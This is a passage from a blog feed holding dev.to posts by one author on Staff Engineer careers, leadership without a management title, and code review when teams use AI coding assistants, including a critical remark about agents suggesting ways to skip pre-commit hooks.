&lt;p&gt;&lt;strong&gt;"What kind of Staff Engineer does my organization need right now, and where can I create the most impact?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That's a much more practical question.&lt;/p&gt;

&lt;p&gt;Because a Staff Engineer at a hundred-person startup might do something completely different from a Staff Engineer at a ten-thousand-person company.&lt;/p&gt;

&lt;p&gt;You might not even have the Staff Engineer title while already doing a significant amount of Staff-level work.&lt;/p&gt;

&lt;p&gt;Ultimately, what matters more than the title is the &lt;strong&gt;actual scope and impact of the work.&lt;/strong&gt;&lt;/p&gt;




&lt;h1&gt;
  
  
  How Do You Move Toward Staff Engineering?
&lt;/h1&gt;

&lt;p&gt;I don't think this journey can be reduced to a checklist like:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Learn System Design → Study Distributed Systems → Write More Code → Become Staff&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Technical depth remains extremely important.&lt;/p&gt;

&lt;p&gt;But moving toward Staff is less about collecting another set of technologies and more about changing your &lt;strong&gt;scope and impact&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;If I had to create a roadmap for myself, it would look something like this:&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Fill Out Your Seniority First
&lt;/h2&gt;

&lt;p&gt;Don't rush toward the next title.&lt;/p&gt;

&lt;p&gt;Expose yourself to real problems.&lt;/p&gt;

&lt;p&gt;Let decisions, failures, incidents, and experience gradually improve your judgment.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Stop Waiting for a Bigger Project — Find a More Important Problem
&lt;/h2&gt;

&lt;p&gt;If someone came to me and said:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I want to become Staff. Give me a huge project so I can prove myself."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;My first reaction probably wouldn't be to give them the largest feature on the roadmap.&lt;/p&gt;

&lt;p&gt;I'd tell them to look around.&lt;/p&gt;

&lt;p&gt;Which process is broken?&lt;/p&gt;

&lt;p&gt;Which problem keeps happening?&lt;/p&gt;

&lt;p&gt;Where are teams moving slowly?&lt;/p&gt;

&lt;p&gt;Where is ownership unclear?&lt;/p&gt;

&lt;p&gt;Where are engineers repeatedly solving the same problem?&lt;/p&gt;

&lt;p&gt;Staff-level work often starts with &lt;strong&gt;finding an important problem nobody assigned to you.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Expand Your Scope From Feature to Problem Space
&lt;/h2&gt;

&lt;p&gt;Instead of owning an implementation, start owning an outcome.&lt;/p&gt;

&lt;p&gt;Don't just become the person responsible for building Feature X.&lt;/p&gt;

&lt;p&gt;Become the person responsible for improving a situation.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Learn Where to Spend Your Attention
&lt;/h2&gt;

&lt;p&gt;Not every problem you &lt;em&gt;can&lt;/em&gt; solve is a problem you &lt;em&gt;should&lt;/em&gt; solve yourself.&lt;/p&gt;

&lt;p&gt;Consider criticality, leverage, and opportunity cost.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Make the Engineers Around You Stronger
&lt;/h2&gt;

&lt;p&gt;Don't keep every difficult problem for yourself.&lt;/p&gt;

&lt;p&gt;With appropriate guardrails, give other engineers opportunities to make decisions, make mistakes, receive feedback, and grow.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Learn to Influence Without Authority
&lt;/h2&gt;

&lt;p&gt;At Staff level, many of the people you need to work with won't report to you.&lt;/p&gt;

&lt;p&gt;You need to influence decisions through context, data, design documents, RFCs, communication, and trust.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Measure Success Through Outcomes
&lt;/h2&gt;

&lt;p&gt;At the end, don't only ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"How much work did I personally complete?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Because of the work I did, what works better in the team or organization now?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h1&gt;
  
  
  But Should You Become Staff at All?
&lt;/h1&gt;

&lt;p&gt;Not necessarily.&lt;/p&gt;

&lt;p&gt;And I think this question should come before the roadmap.&lt;/p&gt;

&lt;p&gt;Being a Senior Engineer isn't a temporary waiting room that everyone needs to escape as quickly as possible.&lt;/p&gt;

&lt;p&gt;Someone might genuinely love deep coding, direct ownership, and hands-on technical problem solving — and remain an excellent Senior Engineer for years.&lt;/p&gt;

&lt;p&gt;Staff Engineering isn't necessarily a "better" version of that life.&lt;/p&gt;

&lt;p&gt;The work changes.&lt;/p&gt;

&lt;p&gt;You might write less code directly.&lt;/p&gt;

&lt;p&gt;There might be more alignment, design, communication, and meetings.&lt;/p&gt;

&lt;p&gt;The problems become more ambiguous.&lt;/p&gt;

&lt;p&gt;Success becomes less individual and more collective.&lt;/p&gt;

&lt;p&gt;You might spend hours on something that produces zero lines of code.&lt;/p&gt;

&lt;p&gt;And sometimes, the best result of your work is another engineer doing something important and getting recognized for it.&lt;/p&gt;

&lt;p&gt;Before asking:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"How do I become a Staff Engineer?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Maybe we should ask:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;"Would I actually enjoy being a Staff Engineer?"&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Do I enjoy problems without obvious answers?&lt;/p&gt;

&lt;p&gt;Do I want to influence something larger than my own team's scope?&lt;/p&gt;

&lt;p&gt;Am I willing to give some of the dopamine of solving the hard problem myself to another engineer?&lt;/p&gt;

&lt;p&gt;Can I influence decisions without direct authority?&lt;/p&gt;

&lt;p&gt;And can someone else's success become as satisfying as my own visible success?&lt;/p&gt;

&lt;p&gt;If the answer to those questions is yes, maybe it's worth exploring the Staff path more seriously.&lt;/p&gt;




&lt;h1&gt;
  
  
  So, What Comes After Senior?
&lt;/h1&gt;

&lt;p&gt;There probably isn't one answer.&lt;/p&gt;

&lt;p&gt;You can move toward management.&lt;/p&gt;

&lt;p&gt;You can pursue Staff Engineering.&lt;/p&gt;

&lt;p&gt;You can remain Senior and continue deepening your craft.&lt;/p&gt;

&lt;p&gt;You might even move between these paths during different stages of your career.&lt;/p&gt;

&lt;p&gt;But one thing became clearer to me after reading &lt;em&gt;Staff Engineer&lt;/em&gt; and reflecting on my own experience:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;After Senior, growth isn't only about solving harder problems. It's about creating greater impact.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Sometimes that means solving a critical problem yourself.&lt;/p&gt;

&lt;p&gt;Sometimes it means noticing a problem nobody else has noticed yet.&lt;/p&gt;

&lt;p&gt;Sometimes it's an architectural decision that will shape the system for years.&lt;/p&gt;

&lt;p&gt;Sometimes it's fixing a broken process.&lt;/p&gt;

&lt;p&gt;And sometimes it's simply stepping back and giving another engineer the opportunity to step forward.&lt;/p&gt;

&lt;p&gt;Maybe until Senior, much of the journey is about becoming someone who can be trusted with important problems.&lt;/p&gt;

&lt;p&gt;After that, a different kind of growth begins:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Being Senior means you can take responsibility for an important problem.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Being Staff means helping build a system where important problems get solved well — even without your direct involvement.&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>engineering</category>
      <category>staff</category>
      <category>tech</category>
    </item>
    <item>
      <title>Leadership Before the Title: How Engineers Can Start Leading Before They Become Managers</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Wed, 02 Sep 2026 08:09:05 +0000</pubDate>
      <link>https://dev.to/leopold2/leadership-before-the-title-how-engineers-can-start-leading-before-they-become-managers-h70</link>
      <guid>https://dev.to/leopold2/leadership-before-the-title-how-engineers-can-start-leading-before-they-become-managers-h70</guid>
      <description>&lt;p&gt;I am a young manager who is still learning.&lt;/p&gt;

&lt;p&gt;Over the years, I have learned from amazing teammates, thoughtful managers, difficult projects, honest feedback, and a slightly embarrassing number of books and articles about leadership.&lt;/p&gt;

&lt;p&gt;One idea keeps becoming clearer:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;You do not need authority to start leading.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In engineering, leadership often begins long before someone reports to you. It begins when you make a confusing problem clearer, surface a risk early, help someone succeed, or improve the way work happens.&lt;/p&gt;

&lt;p&gt;This is the path I now think about:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lead yourself → improve the work → help people → create team clarity → improve the system → grow other leaders.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Three myths that stop people from leading
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Myth 1: “I need a title.”
&lt;/h3&gt;

&lt;p&gt;A title can give you formal authority, but it does not automatically create trust.&lt;/p&gt;

&lt;p&gt;Before a promotion, people are already watching how you behave:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do you keep your commitments?&lt;/li&gt;
&lt;li&gt;Do you make decisions understandable?&lt;/li&gt;
&lt;li&gt;Do you give credit away?&lt;/li&gt;
&lt;li&gt;Do you speak up when something feels risky?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The replacement for this myth is simple: make one useful contribution people can rely on.&lt;/p&gt;

&lt;h3&gt;
  
  
  Myth 2: “I must have all the answers.”
&lt;/h3&gt;

&lt;p&gt;Engineering is full of uncertainty. Leaders who pretend otherwise usually make uncertainty harder to see.&lt;/p&gt;

&lt;p&gt;Good leadership often sounds like:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Here is what we know, here is what we do not know, and here is how we will learn more.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Asking a precise question at the right time can be more valuable than giving a fast answer.&lt;/p&gt;

&lt;h3&gt;
  
  
  Myth 3: “Leadership means doing more myself.”
&lt;/h3&gt;

&lt;p&gt;This is a common trap for strong individual contributors. You become the person everyone depends on, then mistake dependence for leadership.&lt;/p&gt;

&lt;p&gt;Real leadership makes capability travel. If the work can only move when you are present, your influence has not scaled yet.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Start with self-leadership
&lt;/h2&gt;

&lt;p&gt;Before you lead a team, you have to learn how to lead your own attention, energy, and promises.&lt;/p&gt;

&lt;p&gt;I use four questions as a practical reset:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Choose:&lt;/strong&gt; What is the most important outcome today?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Protect:&lt;/strong&gt; What will I say no to so that outcome has room?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Close:&lt;/strong&gt; What loop must I finish or clearly hand off?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Renew:&lt;/strong&gt; What helps me return tomorrow with good judgment?&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is not about becoming perfectly disciplined. It is about becoming more reliable.&lt;/p&gt;

&lt;p&gt;A small daily promise is enough:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“I will leave one important thing clearer.”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That might mean clarifying a ticket, writing down a decision, explaining a trade-off, or helping a teammate get unstuck.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Build credibility through visible judgment
&lt;/h2&gt;

&lt;p&gt;People do not need you to be certain all the time. They need to understand how you are thinking.&lt;/p&gt;

&lt;p&gt;For important engineering decisions, make four things visible:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Context:&lt;/strong&gt; What problem are we solving?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Options:&lt;/strong&gt; What did we consider?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Trade-off:&lt;/strong&gt; What are we giving up?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Next check:&lt;/strong&gt; When will we revisit the decision?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is the basic shape of an architecture decision record, but it also works in a pull request, design review, incident channel, or planning meeting.&lt;/p&gt;

&lt;p&gt;Clarity beats false certainty.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Earn influence without force
&lt;/h2&gt;

&lt;p&gt;Influence is not the ability to make people obey you. It is the ability to move important work forward without relying on your job title.&lt;/p&gt;

&lt;p&gt;Four behaviors help:&lt;/p&gt;

&lt;h3&gt;
  
  
  Listen first
&lt;/h3&gt;

&lt;p&gt;Understand the system before prescribing a fix. The first explanation is rarely the whole explanation.&lt;/p&gt;

&lt;h3&gt;
  
  
  Frame the why
&lt;/h3&gt;

&lt;p&gt;Connect the work to users, outcomes, constraints, and risks. People can make better decisions when they understand the context.&lt;/p&gt;

&lt;h3&gt;
  
  
  Make it easy to join
&lt;/h3&gt;

&lt;p&gt;Offer a small next step instead of asking for abstract alignment.&lt;/p&gt;

&lt;h3&gt;
  
  
  Give credit away
&lt;/h3&gt;

&lt;p&gt;Make other people visible. A leader who receives all the credit may look powerful for a moment, but a leader who shares credit builds a stronger network.&lt;/p&gt;

&lt;h2&gt;
  
  
  4. Build trust in small moments
&lt;/h2&gt;

&lt;p&gt;Google’s team-effectiveness research identified psychological safety, dependability, structure and clarity, meaning, and impact as important team dynamics.&lt;/p&gt;

&lt;p&gt;For someone beginning to lead, psychological safety can start with one sentence:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“What are we missing?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Ask it before the plan is final. Thank the person who surfaces a concern. Own your part when confusion comes from your own communication.&lt;/p&gt;

&lt;p&gt;The goal is not to make every conversation comfortable. The goal is to make important information safe enough to be said early.&lt;/p&gt;

&lt;h2&gt;
  
  
  5. Treat feedback as a loop
&lt;/h2&gt;

&lt;p&gt;Feedback works best when it improves the next attempt instead of judging the last one.&lt;/p&gt;

&lt;p&gt;A simple structure is:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Situation:&lt;/strong&gt; When and where did it happen?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Behavior:&lt;/strong&gt; What did you observe?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Impact:&lt;/strong&gt; What changed because of it?&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Next step:&lt;/strong&gt; What would better look like next time?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“In yesterday’s release review, the rollback risk was not mentioned until the end. That left us with less time to respond. In the next review, can we surface operational risks at the beginning?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Specific, timely feedback is kinder than a vague surprise months later.&lt;/p&gt;

&lt;h2&gt;
  
  
  6. Delegate to grow capability
&lt;/h2&gt;

&lt;p&gt;Delegation is not simply removing tasks from your own workload. It is transferring ownership, context, judgment, and confidence.&lt;/p&gt;

&lt;p&gt;The loop I try to follow is:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Define the outcome.&lt;/li&gt;
&lt;li&gt;Transfer ownership.&lt;/li&gt;
&lt;li&gt;Coach in the loop.&lt;/li&gt;
&lt;li&gt;Review the result and reflect together.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The test is not “Did I do this faster myself?”&lt;/p&gt;

&lt;p&gt;The better question is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;“Can the work move forward without me next time?”&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is how capability travels.&lt;/p&gt;

&lt;h2&gt;
  
  
  7. Improve the system, not only the task
&lt;/h2&gt;

&lt;p&gt;Leadership becomes visible in recurring moments:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;a weekly planning session,&lt;/li&gt;
&lt;li&gt;a code review,&lt;/li&gt;
&lt;li&gt;a handoff,&lt;/li&gt;
&lt;li&gt;a retrospective,&lt;/li&gt;
&lt;li&gt;an incident review,&lt;/li&gt;
&lt;li&gt;a career conversation.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A good ritual answers one question and changes one next action.&lt;/p&gt;

&lt;p&gt;For example:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What matters this week?&lt;/li&gt;
&lt;li&gt;What is blocked or unclear?&lt;/li&gt;
&lt;li&gt;What did we learn?&lt;/li&gt;
&lt;li&gt;What changes next time?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You can practice this before managing anyone. Make one recurring interaction clearer and more useful.&lt;/p&gt;

&lt;h2&gt;
  
  
  8. Choose your leadership path
&lt;/h2&gt;

&lt;p&gt;Leadership is bigger than management.&lt;/p&gt;

&lt;p&gt;Technical leaders create architecture, standards, technical direction, and influence without formal authority. People leaders build teams, coach individuals, create clarity, and improve delivery and health.&lt;/p&gt;

&lt;p&gt;Books such as &lt;em&gt;Staff Engineer: Leadership Beyond the Management Track&lt;/em&gt; are useful because they show that technical leadership is a real path—not a consolation prize for people who do not become managers.&lt;/p&gt;

&lt;p&gt;Other books have helped me build the picture from different angles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;em&gt;The 7 Habits of Highly Effective People&lt;/em&gt; for personal effectiveness and principles.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;The Manager’s Path&lt;/em&gt; for the progression into engineering management.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;High Output Management&lt;/em&gt; for leverage and team output.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Turn the Ship Around!&lt;/em&gt; for creating leaders instead of followers.&lt;/li&gt;
&lt;li&gt;
&lt;em&gt;Radical Candor&lt;/em&gt; for direct, human feedback.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  A 30-day leadership experiment
&lt;/h2&gt;

&lt;p&gt;Do not wait for a promotion to practice leadership.&lt;/p&gt;

&lt;h3&gt;
  
  
  Week 1: Observe
&lt;/h3&gt;

&lt;p&gt;Ask three people: “Where is there friction, ambiguity, or risk?”&lt;/p&gt;

&lt;h3&gt;
  
  
  Week 2: Choose
&lt;/h3&gt;

&lt;p&gt;Pick one loop you can tighten.&lt;/p&gt;

&lt;h3&gt;
  
  
  Week 3: Practice
&lt;/h3&gt;

&lt;p&gt;Run the new behavior in public. Explain what you are trying.&lt;/p&gt;

&lt;h3&gt;
  
  
  Week 4: Reflect
&lt;/h3&gt;

&lt;p&gt;Ask: “What changed? What should we keep?”&lt;/p&gt;

&lt;p&gt;One visible act of leadership is enough to begin.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final thought
&lt;/h2&gt;

&lt;p&gt;Do not wait for permission to practice leadership.&lt;/p&gt;

&lt;p&gt;Choose one behavior. Make it visible. Repeat it until people can rely on it.&lt;/p&gt;

&lt;p&gt;Leadership is the work that makes other people more capable.&lt;/p&gt;

&lt;h2&gt;
  
  
  Further reading
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://rework.withgoogle.com/en/guides/understanding-team-effectiveness" rel="noopener noreferrer"&gt;Google re:Work: Understand team effectiveness&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://handbook.gitlab.com/handbook/engineering/careers/management/" rel="noopener noreferrer"&gt;GitLab Engineering Management Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://handbook.gitlab.com/handbook/engineering/careers/ic-leadership/" rel="noopener noreferrer"&gt;GitLab: Engineering IC Leadership&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://leaddev.com/handbook/engineering-manager-handbook" rel="noopener noreferrer"&gt;LeadDev: The Engineering Manager Handbook&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://sre.google/sre-book/postmortem-culture/" rel="noopener noreferrer"&gt;Google SRE: Postmortem Culture&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://staffeng.com/book/" rel="noopener noreferrer"&gt;Staff Engineer&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>leadership</category>
      <category>tech</category>
      <category>engineering</category>
      <category>techlead</category>
    </item>
    <item>
      <title>Code Review in the AI Era</title>
      <dc:creator>Shayan Mirzaie</dc:creator>
      <pubDate>Sun, 23 Aug 2026 18:37:22 +0000</pubDate>
      <link>https://dev.to/leopold2/code-review-in-the-ai-era-105c</link>
      <guid>https://dev.to/leopold2/code-review-in-the-ai-era-105c</guid>
      <description>&lt;p&gt;One thing I have been thinking about a lot recently is how AI is changing not only the way we write code, but also some of the engineering processes we have built around software development.&lt;/p&gt;

&lt;p&gt;One of the most interesting ones, in my opinion, is &lt;strong&gt;Code Review&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For a long time, Code Review was never just about reviewing a few lines of code.&lt;/p&gt;

&lt;p&gt;In large engineering teams, it has been a mechanism to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Maintain code quality and engineering standards&lt;/li&gt;
&lt;li&gt;Share knowledge between engineers&lt;/li&gt;
&lt;li&gt;Improve technical decision-making&lt;/li&gt;
&lt;li&gt;Help engineers learn and grow through feedback&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Especially when multiple teams with different experience levels and working styles contribute to the same product, Code Review becomes one of the ways to keep the codebase consistent and the teams aligned.&lt;/p&gt;

&lt;p&gt;Over the past few years working on a large-scale product at Snappfood, I have seen how important this process can be.&lt;/p&gt;

&lt;p&gt;With multiple teams and engineers working on different parts of the product, we gradually evolved our Code Review process:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Layered reviews for important changes&lt;/li&gt;
&lt;li&gt;Multiple approvals based on the scope and impact of changes&lt;/li&gt;
&lt;li&gt;Reviewer rotation to spread knowledge&lt;/li&gt;
&lt;li&gt;Automated checks and pipelines to catch repetitive issues before human review&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But now, with AI becoming a bigger part of software development, a new question has emerged:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Is the Code Review process we built for the pre-AI world still enough for today's development workflow?&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The problem is not only more code. It is less visibility.
&lt;/h2&gt;

&lt;p&gt;One of the first things we noticed after adopting AI coding tools more heavily is that the amount of generated code increased.&lt;/p&gt;

&lt;p&gt;Pull Requests became larger.&lt;br&gt;&lt;br&gt;
Changes became faster.&lt;br&gt;&lt;br&gt;
And understanding the full impact of a change became harder.&lt;/p&gt;

&lt;p&gt;But I don't think larger PRs are necessarily a bad thing.&lt;/p&gt;

&lt;p&gt;They can even be a sign that teams are moving faster and delivering more value.&lt;/p&gt;

&lt;p&gt;The real challenge starts when the amount of change grows faster than our understanding of that change.&lt;/p&gt;

&lt;p&gt;A PR can:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pass all tests&lt;/li&gt;
&lt;li&gt;Look clean&lt;/li&gt;
&lt;li&gt;Follow coding conventions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;But still leave important questions unanswered:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Do we really understand what parts of the system are affected?&lt;/li&gt;
&lt;li&gt;Did we give AI enough context to make the right decision?&lt;/li&gt;
&lt;li&gt;Are we introducing hidden side effects?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I think one of the biggest mindset shifts in the AI era is that our goal should not simply be producing more code.&lt;/p&gt;

&lt;p&gt;The goal should be improving our ability to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Define the problem clearly&lt;/li&gt;
&lt;li&gt;Provide the right context&lt;/li&gt;
&lt;li&gt;Control the scope of changes&lt;/li&gt;
&lt;li&gt;Build faster feedback loops&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  AI optimizes for completing tasks, not always for making the best engineering decision
&lt;/h2&gt;

&lt;p&gt;One interesting behavior I have noticed while working with AI coding assistants is that they often try to find the easiest path to complete a task.&lt;/p&gt;

&lt;p&gt;For example, in our projects, we use tools like &lt;strong&gt;Husky&lt;/strong&gt; and &lt;strong&gt;lint-staged&lt;/strong&gt; as part of our development workflow.&lt;/p&gt;

&lt;p&gt;They help us catch issues before commits:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Type errors&lt;/li&gt;
&lt;li&gt;Lint problems&lt;/li&gt;
&lt;li&gt;Formatting issues&lt;/li&gt;
&lt;li&gt;Broken checks&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This creates a faster feedback loop and keeps our history cleaner.&lt;/p&gt;

&lt;p&gt;However, sometimes AI agents try to bypass these steps to complete the task faster, for example by suggesting ways to skip hooks.&lt;/p&gt;

&lt;p&gt;This taught me an important lesson:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;We should not only tell AI what to build. We also need to define how it should operate.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Just like onboarding a new engineer requires:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Project context&lt;/li&gt;
&lt;li&gt;Technical constraints&lt;/li&gt;
&lt;li&gt;Engineering guidelines&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI agents also need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Clear boundaries&lt;/li&gt;
&lt;li&gt;Guardrails&lt;/li&gt;
&lt;li&gt;Defined workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Managing AI behavior will become part of engineering work.&lt;/p&gt;




&lt;h2&gt;
  
  
  Clean code does not always mean the right solution
&lt;/h2&gt;

&lt;p&gt;One of the most interesting and dangerous things about AI-generated code is that it often looks very trustworthy.&lt;/p&gt;

&lt;p&gt;The code is clean.&lt;br&gt;&lt;br&gt;
The naming is good.&lt;br&gt;&lt;br&gt;
The structure makes sense.&lt;/p&gt;

&lt;p&gt;But there is a fundamental limitation:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;AI makes decisions based on the context we provide.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Here is a real example.&lt;/p&gt;

&lt;p&gt;In one of our tasks, we needed to keep some data inside the codebase instead of a URL, while also making sure the data would survive page refreshes.&lt;/p&gt;

&lt;p&gt;AI suggested using &lt;strong&gt;Session Storage&lt;/strong&gt;, and from an implementation perspective, it worked perfectly.&lt;/p&gt;

&lt;p&gt;The problem was that AI did not know our system context.&lt;/p&gt;

&lt;p&gt;At Snappfood, we work with thousands of vendors.&lt;/p&gt;

&lt;p&gt;If we stored data for every vendor in Session Storage, this decision could create performance issues at scale or introduce bugs that would be extremely difficult to reproduce and debug.&lt;/p&gt;

&lt;p&gt;The problem was not that AI wrote bad code.&lt;/p&gt;

&lt;p&gt;Actually, the implementation was reasonable.&lt;/p&gt;

&lt;p&gt;The problem was that AI saw the problem within the boundaries of the code, not within the boundaries of the system.&lt;/p&gt;

&lt;p&gt;And this is exactly where engineering judgment becomes valuable.&lt;/p&gt;

&lt;p&gt;Engineers need to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Understand system scale&lt;/li&gt;
&lt;li&gt;Predict the impact of decisions&lt;/li&gt;
&lt;li&gt;Think about edge cases&lt;/li&gt;
&lt;li&gt;Ask questions that AI may not consider&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Code Review is becoming Engineering Decision Review
&lt;/h2&gt;

&lt;p&gt;Historically, a large part of Code Review was focused on questions like:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Is the code clean?&lt;/li&gt;
&lt;li&gt;Are best practices followed?&lt;/li&gt;
&lt;li&gt;Are coding conventions respected?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Many of these checks can now be automated.&lt;/p&gt;

&lt;p&gt;The things that still require human thinking are different:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Did we understand the problem correctly?&lt;/li&gt;
&lt;li&gt;Is this the right solution for our architecture?&lt;/li&gt;
&lt;li&gt;What trade-offs are we making?&lt;/li&gt;
&lt;li&gt;What side effects can this introduce?&lt;/li&gt;
&lt;li&gt;How will this behave as the system grows?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I believe the future of Code Review is not about reviewing less.&lt;/p&gt;

&lt;p&gt;It is about reviewing differently.&lt;/p&gt;

&lt;p&gt;Moving from:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Is this code written well?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;towards:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Is this the right engineering decision?"&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  AI should accelerate learning, not replace it
&lt;/h2&gt;

&lt;p&gt;One of the most valuable parts of Code Review has always been learning.&lt;/p&gt;

&lt;p&gt;When engineers discuss implementation choices, alternatives, and trade-offs, the whole team becomes better.&lt;/p&gt;

&lt;p&gt;With AI generating more code, we need to be careful not to lose that learning process.&lt;/p&gt;

&lt;p&gt;Instead of only asking AI to complete tasks, we should use it to improve our thinking:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Why did you choose this approach?&lt;/li&gt;
&lt;li&gt;What alternatives exist?&lt;/li&gt;
&lt;li&gt;What are the trade-offs?&lt;/li&gt;
&lt;li&gt;What changes if the system grows 10x?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;AI should make us better engineers, not just faster code producers.&lt;/p&gt;




&lt;p&gt;I don't think Code Review will become less important in the AI era.&lt;/p&gt;

